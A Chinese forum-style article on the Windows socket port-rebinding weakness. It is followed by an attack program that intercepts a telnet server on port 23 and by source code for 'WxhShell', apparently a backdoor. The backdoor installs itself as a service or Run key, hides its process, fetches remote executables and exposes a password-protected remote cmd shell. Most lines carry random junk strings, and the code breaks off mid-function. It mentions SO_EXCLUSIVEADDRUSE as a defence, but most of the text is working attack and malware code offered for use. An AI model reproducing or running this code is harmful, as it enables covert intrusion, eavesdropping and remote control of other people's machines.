在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
>#w;67he2 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
M2O_kOeZ q.c)>=!. saddr.sin_family = AF_INET;
L5-|-PP|; MKl0 d saddr.sin_addr.s_addr = htonl(INADDR_ANY);
_!nsEG
VV q`VL i bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
"j@\a)a Ax;=Zh<DAv 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
$"r9U|6kk KwuucY 这意味着什么?意味着可以进行如下的攻击:
<h/%jM>9/ FQ]/c#J 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
c+ oi8G i"WYcF| 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
VPe0\?!d U ? +_\ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
!sb r!Qt |A%9c.DG. 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
lN,?N{6s j]Jgz< 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
5E&#Kh(I .T|
}rB<c 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
SIe!=F[ |eqBCZn 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
\D7bTn qqrjI. #include
V'Gal` #include
E>!=~ 7. #include
\^x{NV@v42 #include
GJ+ ^t DWORD WINAPI ClientThread(LPVOID lpParam);
K3T.l#d'L int main()
6l#x1o; {
,NSf WORD wVersionRequested;
.Pb-{!$Ni DWORD ret;
:DD<0 WSADATA wsaData;
Lo%n{*if BOOL val;
CU'JvVe3 SOCKADDR_IN saddr;
l~c[} wv SOCKADDR_IN scaddr;
CMa6':~ int err;
~r1pO#r- SOCKET s;
&Y{^yb SOCKET sc;
}LzBo\ int caddsize;
JVZ-nHf(9 HANDLE mt;
{.p.? DWORD tid;
/jY
u-H+C wVersionRequested = MAKEWORD( 2, 2 );
J2YQdCL err = WSAStartup( wVersionRequested, &wsaData );
z3oi( if ( err != 0 ) {
rE3dHJN; printf("error!WSAStartup failed!\n");
{& o^p! return -1;
L:z0cvn" }
d1b]+A G4 saddr.sin_family = AF_INET;
;cor\R =!q%
1 mP //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
|>.Q U3 Cp8=8N(Xb saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
p0+^wXi) saddr.sin_port = htons(23);
RB 5SK#z if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
SmRlZ!%e {
6Sr]<I +: printf("error!socket failed!\n");
fab'\|Y return -1;
,X4e?$7g }
jvzioFCt val = TRUE;
#36QO //SO_REUSEADDR选项就是可以实现端口重绑定的
g^ AQBF if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
N[%u>! {
T$4{fhV
\ printf("error!setsockopt failed!\n");
zWHq4@K return -1;
__=H"UhWv }
79\wjR!T //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
_P>YG<*"kQ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
#[93$)Gd! //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
IGlR,tw_/ k]b*&.EY1 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
).T&fa" {
-%nD'qy,. ret=GetLastError();
18X@0e printf("error!bind failed!\n");
g3R(,IH return -1;
Syk)S< }
\Wbmmd}8 listen(s,2);
TT$Ao while(1)
ys[Li.s: {
:^;c(>u{ caddsize = sizeof(scaddr);
R.~[$G! //接受连接请求
odRiCiMH sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
6Rc=!_v^ if(sc!=INVALID_SOCKET)
Knq9"k {
K1&
QAXyP mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
1!#85SMx if(mt==NULL)
%y1!'R:ZW {
jc^QWK*q printf("Thread Creat Failed!\n");
Lb*KEF% s break;
^ Ltho` }
Q8p6n }
.Y)[c.,j CloseHandle(mt);
!Ok(mgV$/ }
-YRIe<}E - closesocket(s);
F:{*4b WSACleanup();
Q$jEmmm%V[ return 0;
Hbm 4oYN }
qd`e:s*% DWORD WINAPI ClientThread(LPVOID lpParam)
/ 3A6xPOg {
h$cm:uks SOCKET ss = (SOCKET)lpParam;
5&]5*;Bv J SOCKET sc;
'B@`gA unsigned char buf[4096];
m[hL
GD'Fi SOCKADDR_IN saddr;
%!aU{E|@_ long num;
oA1_W).wJ DWORD val;
12$0-@U DWORD ret;
8@3K, [Mo //如果是隐藏端口应用的话,可以在此处加一些判断
h2l;xt //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
~9X^3.nI saddr.sin_family = AF_INET;
@AyteHK
saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
\Mf>X\} saddr.sin_port = htons(23);
PEMkx"h + if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
9 {4yC9Oz> {
\kADh?phV printf("error!socket failed!\n");
sNf& "C!; return -1;
fXD+ }
KA3U W val = 100;
|tXA$}"L8 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
4l D$'` {
q+P@2FL ret = GetLastError();
.)Tj}Im2p return -1;
q"2QNF' }
v.0qE}'
| if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
MKK ^-T {
g \mE ret = GetLastError();
N0`9/lr| return -1;
[Nyt0l "z }
$d?+\r:I{, if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
2q
f|+[X {
@gUp9ZwtH printf("error!socket connect failed!\n");
Na\ZV|;*tu closesocket(sc);
j3-YZKpg closesocket(ss);
`Sod]bO
+U return -1;
4u{S?Ryy }
Y&|Z*s+
+} while(1)
6FS%9.Ws {
kY0HP a //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
$|4@Zx4vf //如果是嗅探内容的话,可以再此处进行内容分析和记录
[W[{
4 Xu //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
bS_#3T num = recv(ss,buf,4096,0);
~.a"jYb7A} if(num>0)
ggso9ZlLu+ send(sc,buf,num,0);
WBe0^=x else if(num==0)
FO{=^I5YA break;
1 ZdB6U0 num = recv(sc,buf,4096,0);
%6K7uvTq if(num>0)
,'L>:pF3 send(ss,buf,num,0);
5_yQI D%Sq else if(num==0)
TnW`#.f break;
G gO5=| }
6BE,L closesocket(ss);
ep>!jMhJa closesocket(sc);
wj[yo
S return 0 ;
_]:b@gXUw }
_nGx[1G( 5 qGk+4 yC R2bq hSlF ==========================================================
bM W|:rn F.s$Y+c!6 下边附上一个代码,,WXhSHELL
2.qPMqH H MOIUd ==========================================================
dSI"yz zzmC[,u} #include "stdafx.h"
_,3ljf?WQM lg%fjBY #include <stdio.h>
Vax g #include <string.h>
!-I,Dh-A #include <windows.h>
0uy'Py@2< #include <winsock2.h>
-@Ap;,= #include <winsvc.h>
GwWK'F'2 #include <urlmon.h>
d0J/"< !j~wAdHk #pragma comment (lib, "Ws2_32.lib")
DP_b9o
\5 #pragma comment (lib, "urlmon.lib")
Iix,}kzss r&=ulg #define MAX_USER 100 // 最大客户端连接数
Bfb~<rs[ #define BUF_SOCK 200 // sock buffer
ct+F\:e #define KEY_BUFF 255 // 输入 buffer
$QbJT`,mr W'G|sk #define REBOOT 0 // 重启
c
r=Q39{ #define SHUTDOWN 1 // 关机
gC7!cn `Fqth^RK?p #define DEF_PORT 5000 // 监听端口
G':3U K)SWM3r #define REG_LEN 16 // 注册表键长度
#*A'<Zm
#define SVC_LEN 80 // NT服务名长度
/<[0o] >a3m!`lq // 从dll定义API
nnlj# typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Z[O
hZ 9 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
eqtZU\GI> typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
s.1F=u9a typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
y6 (L=$+B 4[ uqsJB // wxhshell配置信息
e=]SIR()` struct WSCFG {
|mT%IR int ws_port; // 监听端口
=4TQ*;V: char ws_passstr[REG_LEN]; // 口令
Jv~R/qaaD int ws_autoins; // 安装标记, 1=yes 0=no
GrF4*I`q char ws_regname[REG_LEN]; // 注册表键名
aZZ0eH char ws_svcname[REG_LEN]; // 服务名
^sv|m" char ws_svcdisp[SVC_LEN]; // 服务显示名
&X4anH>O char ws_svcdesc[SVC_LEN]; // 服务描述信息
@52#ZWy char ws_passmsg[SVC_LEN]; // 密码输入提示信息
w4
yrAj
2 int ws_downexe; // 下载执行标记, 1=yes 0=no
S2X@t>u- char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
1$cl "d`~ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
KXKT5E$ VuLb9Kn };
\zd[A~! u%-]-:c // default Wxhshell configuration
A}fm).Wp@ struct WSCFG wscfg={DEF_PORT,
hs6pp/h> "xuhuanlingzhe",
M+"6VtZH 1,
#p+iwW- "Wxhshell",
HDm]njF%qQ "Wxhshell",
2gWR2 H@ "WxhShell Service",
wd:Yy "Wrsky Windows CmdShell Service",
9qX$ "Please Input Your Password: ",
Y S3~sA 1,
2EgvS!" "
http://www.wrsky.com/wxhshell.exe",
@@R Mm$ "Wxhshell.exe"
]*dYX=6 };
s|IBX0^@ OvH:3"Sdy // 消息定义模块
EBh dP char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
# epP~J_f char *msg_ws_prompt="\n\r? for help\n\r#>";
9J:|"@)N char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
@Y0ZW't char *msg_ws_ext="\n\rExit.";
9nY`rF8@ char *msg_ws_end="\n\rQuit.";
\?
/' char *msg_ws_boot="\n\rReboot...";
Whd > char *msg_ws_poff="\n\rShutdown...";
X5owAc6 char *msg_ws_down="\n\rSave to ";
$Sc _E:`] j"Jf|Hq $ char *msg_ws_err="\n\rErr!";
|E~c#lV char *msg_ws_ok="\n\rOK!";
mG)5xD t?hfP2&6 char ExeFile[MAX_PATH];
x'EEmjJ int nUser = 0;
}u#3 hYa HANDLE handles[MAX_USER];
Jp jHbG int OsIsNt;
L|1,/h
8p ,#;hI{E SERVICE_STATUS serviceStatus;
MkW=sD_ SERVICE_STATUS_HANDLE hServiceStatusHandle;
V 7,dx@J- cvcZ\y // 函数声明
2:
QT`e& int Install(void);
MKbcJZe int Uninstall(void);
\.2i?<BC int DownloadFile(char *sURL, SOCKET wsh);
&JX<)JEB=< int Boot(int flag);
X~IilGL8: void HideProc(void);
zk<V0NJIL* int GetOsVer(void);
-!!]1\S*Y int Wxhshell(SOCKET wsl);
Cm;cmPPl void TalkWithClient(void *cs);
y)zZ:lyIq int CmdShell(SOCKET sock);
?I]AE&4' int StartFromService(void);
DE.].FD' int StartWxhshell(LPSTR lpCmdLine);
R;HE{q[ f v4e4,Nt VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Z9: VOID WINAPI NTServiceHandler( DWORD fdwControl );
-k + jMH ;gBR~W // 数据结构和表定义
`E|i8M3g SERVICE_TABLE_ENTRY DispatchTable[] =
4eWv). {
gWgp:;Me {wscfg.ws_svcname, NTServiceMain},
a&{Y~Og?% {NULL, NULL}
ZH~bY2^; };
%NQ
mV_1 MK3h~`is // 自我安装
{ <Gyjq int Install(void)
;PaU"z+Je~ {
NU=2*gM char svExeFile[MAX_PATH];
rp\`uj*D HKEY key;
}etdXO_^ strcpy(svExeFile,ExeFile);
+iQ@J+k
k, N{ // 如果是win9x系统,修改注册表设为自启动
F]M-r{ if(!OsIsNt) {
"R5G^-<hp if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
YM`T"`f RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
S ,F[74K RegCloseKey(key);
fTXip)n!r if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
P;"moluE; RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
@Ommd{0M RegCloseKey(key);
# fqrZ9:@ return 0;
TG;[,oa }
1j<uFhi> }
G,>YzjMY` }
^EiU> else {
7c"Csq/]I R'sNMWM // 如果是NT以上系统,安装为系统服务
.@): Uh SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
J4ZHE\ if (schSCManager!=0)
j7)mC4o:% {
a/uo)']B SC_HANDLE schService = CreateService
%Bw:6Y4LZ (
xc*a(v0 schSCManager,
q\@_L.tc[ wscfg.ws_svcname,
=4` wYh wscfg.ws_svcdisp,
umns*U%T; SERVICE_ALL_ACCESS,
id" `o SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
+D5gbxZX SERVICE_AUTO_START,
-i?gYF!G SERVICE_ERROR_NORMAL,
L ~'98C svExeFile,
w71YA#cg NULL,
tAq0Z) NULL,
T9R#.y, NULL,
nrY)i_\ NULL,
mhVLlbY|t NULL
:%&
E58 );
-TVwoK if (schService!=0)
I;Mm +5A {
3!8(A/YP; CloseServiceHandle(schService);
4Q0ZY(2 EO CloseServiceHandle(schSCManager);
`(HvD] l strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
`Pc6
G*p strcat(svExeFile,wscfg.ws_svcname);
:pM8Q1:B if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
>3p~>;9sc RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
E"9(CjbQ[ RegCloseKey(key);
\(Oc3+n6 return 0;
7f+@6jqD\) }
tTBDb }
I#xdksY CloseServiceHandle(schSCManager);
WP*}X7IS }
tx7 zG., }
2*Qi4%s# $ (;:4 return 1;
|'-aR@xJ }
!#pc@(rE ;@=3
@v // 自我卸载
pMT7 /y- int Uninstall(void)
~bkO8tn {
k6M D3c HKEY key;
el`?:dY H y>}r if(!OsIsNt) {
3F]Dh^IR9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
#&T O(bk RegDeleteValue(key,wscfg.ws_regname);
k Nc-@B RegCloseKey(key);
p/
xlR[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
mDz44XO RegDeleteValue(key,wscfg.ws_regname);
b9rQQS RegCloseKey(key);
"LlQl3"= return 0;
&(,\~ }
4/~x+tdc }
Jy/<
{7j }
lv=q( & else {
^85Eveu Soq#cl'll- SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
<qfAW?tF if (schSCManager!=0)
%W9R08` {
~<!j]@. SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
e1a\-- if (schService!=0)
O6NH {
w^Y/J4 I0 if(DeleteService(schService)!=0) {
!O%!A<3 CloseServiceHandle(schService);
%:'G={G`QH CloseServiceHandle(schSCManager);
yVnG+R& return 0;
!*Is0`` }
MoN0w.V CloseServiceHandle(schService);
lGr=I-= }
pC:YT/J CloseServiceHandle(schSCManager);
n[0u&m8 }
;>mM9^Jaf }
QP.Lq}
-9FGFBm4] return 1;
ld]*J}cw }
:0:Tl/)) ?'0!>EjY" // 从指定url下载文件
MrB#=3pT int DownloadFile(char *sURL, SOCKET wsh)
"x9yb0 {
z |llf7: HRESULT hr;
4
9N.P;b char seps[]= "/";
nrMW5>&-` char *token;
>)<? char *file;
Q&.uL}R char myURL[MAX_PATH];
0zNbux_ char myFILE[MAX_PATH];
@\w}p E {)"[_< strcpy(myURL,sURL);
V3ozaVk; token=strtok(myURL,seps);
I3.. Yk%7 while(token!=NULL)
iV/I909*'' {
JD#q6&| file=token;
JrOxnxd^ token=strtok(NULL,seps);
j yD3Sa3 }
R`@T<ob) chL1r9V)v GetCurrentDirectory(MAX_PATH,myFILE);
pp"#pl strcat(myFILE, "\\");
s 4_Dqm strcat(myFILE, file);
Zpg;hj5_ send(wsh,myFILE,strlen(myFILE),0);
enJ;#aA send(wsh,"...",3,0);
Qwpni^D8j hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
uQ-GJI^t if(hr==S_OK)
(*$F7oO< return 0;
2pdeJ else
FShjUl>mV return 1;
I;NW!"pU Ur#jJR@%3 }
I9zs A]!0Z:{h% // 系统电源模块
9oJM?&i int Boot(int flag)
s0dP3tz> {
,Tr&`2w HANDLE hToken;
3`yO&upk TOKEN_PRIVILEGES tkp;
kyAN O xH\\#4/ if(OsIsNt) {
L0"|4= OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
0\XWdTj{ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
eZOR{|z tkp.PrivilegeCount = 1;
.4^+q9M tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
]6B9\C.2-_ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
b_RO%L:"yL if(flag==REBOOT) {
Q&:)D7m\)S if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
r%f Q$q> return 0;
%]}JWXof }
?pZU'5le` else {
5zBA ]1PY if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
LH(P<k& return 0;
B`e/ / }
Ck
)W= }
Zq8 5q else {
L"
ejA if(flag==REBOOT) {
-c&=3O! if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
9Of;8R return 0;
d[9{&YnH ! }
;/$pxD else {
|1!fuB A if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
tV(iC~/ return 0;
-:%QoRCy }
U!q2bF<@ }
x
t-s"A @/kI;8 return 1;
]:Ep1DIMl }
K9EHT- VQpt1cK* // win9x进程隐藏模块
w>j5oz} void HideProc(void)
}d}gb`Du {
"}Om0rB}1 tcj"rV{G HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
=h4uN, if ( hKernel != NULL )
IW!x!~e {
"<0 !S~] pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
?\,;KNQr ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
5%\K FreeLibrary(hKernel);
K>+ v" x }
uuEvH<1 P_3IFHe return;
>KuNHuHu }
#a=]h}&1? *,G<X^ // 获取操作系统版本
2x<BU3 int GetOsVer(void)
fQib?g/G {
M
_<
|n OSVERSIONINFO winfo;
n R, QG8 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
THq}>QI GetVersionEx(&winfo);
LmJjO:W}^y if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
~$6` e:n return 1;
\(Rj2 else
:;Z/$M16B return 0;
\@Cz 32wg }
0J'^<GTL sZ=!*tb- // 客户端句柄模块
0x~+=GUN int Wxhshell(SOCKET wsl)
o(e(|k
{ {
]~]TZb SOCKET wsh;
_DSDY$Ec struct sockaddr_in client;
wqDf\k}'v DWORD myID;
3y.+03
W Fxa{
9'99 while(nUser<MAX_USER)
,|RKM {
i}8OaX3x int nSize=sizeof(client);
(.N n|lY<i wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
uq]=L if(wsh==INVALID_SOCKET) return 1;
{D8opepO) QaO9-:]eN handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
S Yi !% if(handles[nUser]==0)
X$;x2mz nM closesocket(wsh);
]Y]]X[@ else
(enr{1 nUser++;
bMc[0 }
Z#u{th WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
q'S[TFMNE +Iuu8t return 0;
/F.<Gz;w }
&,{>b[ l\L71|3" g // 关闭 socket
[O\)R[J void CloseIt(SOCKET wsh)
iuWUr?`\ {
cRKLyb closesocket(wsh);
8OOAPp$%| nUser--;
s2,6aW C ExitThread(0);
D6lzcf }
!)oQ9,N ^"<Bk<b( // 客户端请求句柄
U0-RG void TalkWithClient(void *cs)
. h)VR
5?j {
mQVlE__ub ,1 H|{ < SOCKET wsh=(SOCKET)cs;
1ik.|T<f0 char pwd[SVC_LEN];
&I
~'2mpk char cmd[KEY_BUFF];
{=?[:5 char chr[1];
3 8&K" int i,j;
#7 H0I8 }0<2n~3P while (nUser < MAX_USER) {
=C$"e4%Be d1.@v; if(wscfg.ws_passstr) {
lmcgOTT): if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
mN{H^ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
zfDfy!\2_ //ZeroMemory(pwd,KEY_BUFF);
el$@^Wy&$ i=0;
ZL0Vx6Ph while(i<SVC_LEN) {
38-kl,Vw @>VX]Qe^X // 设置超时
5I[:.o0 fd_set FdRead;
}#.OJub struct timeval TimeOut;
MjQ>&fUK FD_ZERO(&FdRead);
6miXaAA8 FD_SET(wsh,&FdRead);
sE]z.Po= TimeOut.tv_sec=8;
N68]r3/K TimeOut.tv_usec=0;
V1Ft3Msq int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
hy#nK:B if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
MA9E??p3\ +(Hp ".gU if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
s w>B pwd
=chr[0]; 7~"eT9WV
if(chr[0]==0xd || chr[0]==0xa) { i,~(_|-r
pwd=0; rg[#(
break; +Goh`!$Rj9
} |#t^D.j
i++; !ck luj
} IX
6 jb"
}Uj-R3]}K
// 如果是非法用户,关闭 socket CEkf0%YJ
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {TJ"O
} TPx0LDk%(
dL'oIBp
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);
)]w&DNc
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a%m>v,
]7,0>
while(1) { 0;1O;JRw
g}6M+QNj
ZeroMemory(cmd,KEY_BUFF); |2TH[J_a
j."V>p8u$
// 自动支持客户端 telnet标准 &N7q9t
j=0; Zd)LVc[
while(j<KEY_BUFF) { ,*V%
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6&i])iH
cmd[j]=chr[0]; 7^.g\Kt?
if(chr[0]==0xa || chr[0]==0xd) { j?tE#
cmd[j]=0; +#>nOn(B
break; 6 Yva4Lv
} $5ea[nc
j++; KX\=wFbP)
} E rA*a3
9;*B*S~znW
// 下载文件 oP7)
if(strstr(cmd,"http://")) { o6x8jz
send(wsh,msg_ws_down,strlen(msg_ws_down),0); u9q#L.Ij
if(DownloadFile(cmd,wsh)) U7zd7O
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
`|nJAW3
else v8\_6}*I
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E2o8'.~Yd`
} " 5Pqvi
else { dJQwb
vfDX~_N
switch(cmd[0]) { 0"\js:-$
yHf^6|$8
// 帮助 {J)gS
case '?': { m(xyEU
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'T|QG@q
break; u&`rK7J
} OWr\$lm@z$
// 安装 d@ZXCiA},
case 'i': { H2g#'SK@
if(Install()) {P?p*2J'
send(wsh,msg_ws_err,strlen(msg_ws_err),0); k'"R;^~xg
else W>CG;x{
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o<s~455m/
break; M_$;"NS+}
} j~in%|^
// 卸载 [p0_I7
case 'r': { 6m(+X
MS
if(Uninstall()) %,8
"cM`D
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9QF,ynE
else s}gdi
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HN;f~EQT
break; -:!T@rV,d
} gi_f8RP=2a
// 显示 wxhshell 所在路径 H%>cpwa[7
case 'p': { /sB,)>X
char svExeFile[MAX_PATH]; 2 jQ?-/Q8#
strcpy(svExeFile,"\n\r"); (A_H[xP
strcat(svExeFile,ExeFile); .`D$.|!8g
send(wsh,svExeFile,strlen(svExeFile),0); d_V7w4lK
break; v~dUH0P<>e
} F CfU=4O
// 重启 W-1Ub |8C
case 'b': { 9-=kVmT&g
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);
|M?VmG/6
if(Boot(REBOOT)) maQDD*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?ZKIs9E[m
else { ]K5j(1EN
closesocket(wsh); 68qCY
ExitThread(0); ,0,&
L
} ?[5_/0L,=
break; sU^K5oo
} FSZ :}Q
// 关机 y>J6)F
=
case 'd': { pug;1UZ
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !r*JGv=
if(Boot(SHUTDOWN)) L_zB/(h
send(wsh,msg_ws_err,strlen(msg_ws_err),0); .,p@ee$q
else { 'A/{7*,
closesocket(wsh); Co<F<eXe
ExitThread(0); B]#iZ,Tp
} tD,~i"0;
break; UPuG&A#VV
} y.Yni*xt/
// 获取shell srU*1jD)
case 's': { :?3y)*J!
CmdShell(wsh); $4CsiZ6
closesocket(wsh); 8\`otJY
ExitThread(0); *U,W4>(B
break; S }G3h a
} F
B&l|#e
// 退出 bFIv}c+;
case 'x': { j4D`Xq2X
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Zr!CT5C5
CloseIt(wsh); te3\MSv;O
break; y2x)<.cDP
} _cc9+o
// 离开 wqQrby<
case 'q': { rY=dNK]d
send(wsh,msg_ws_end,strlen(msg_ws_end),0); \z-OJ1[F
closesocket(wsh); R|7_iMIZ
WSACleanup(); kgF x
exit(1); /T<,vR
break; hQJ-
~
} 2\xEMec
} tjDCfJx*
} KJ6:ZTbW
&K,rNH'R
// 提示信息 +d8?=LX
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G9c2kX.Bf
} >D$NEO^
} =/^{Pn
3%V VG~[
return; V34]5
} EDGAaN*Q
p~t5PU*(
// shell模块句柄
sCRmLUD
int CmdShell(SOCKET sock) + gP 4MP
{ @1peJJ{
STARTUPINFO si; *| YR8f
ZeroMemory(&si,sizeof(si)); 'y:+w{I2o
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /{\mV(F(
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ( |Xc_nC
PROCESS_INFORMATION ProcessInfo; ?pp|~A)b
char cmdline[]="cmd"; -*"Q-GO
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); q+Qrc]>-f
return 0; ~_yz\;#
} Z=/bD*\g
=M/($PA
// 自身启动模式 mwqe@7
int StartFromService(void) ew6\Z$1c~
{ .Vb\f
typedef struct <<ifd?
{ vWpkU<&3|
DWORD ExitStatus; [=KA5c<
DWORD PebBaseAddress; "0A !fRI~
DWORD AffinityMask; JlN<w
DWORD BasePriority; P<gr=&
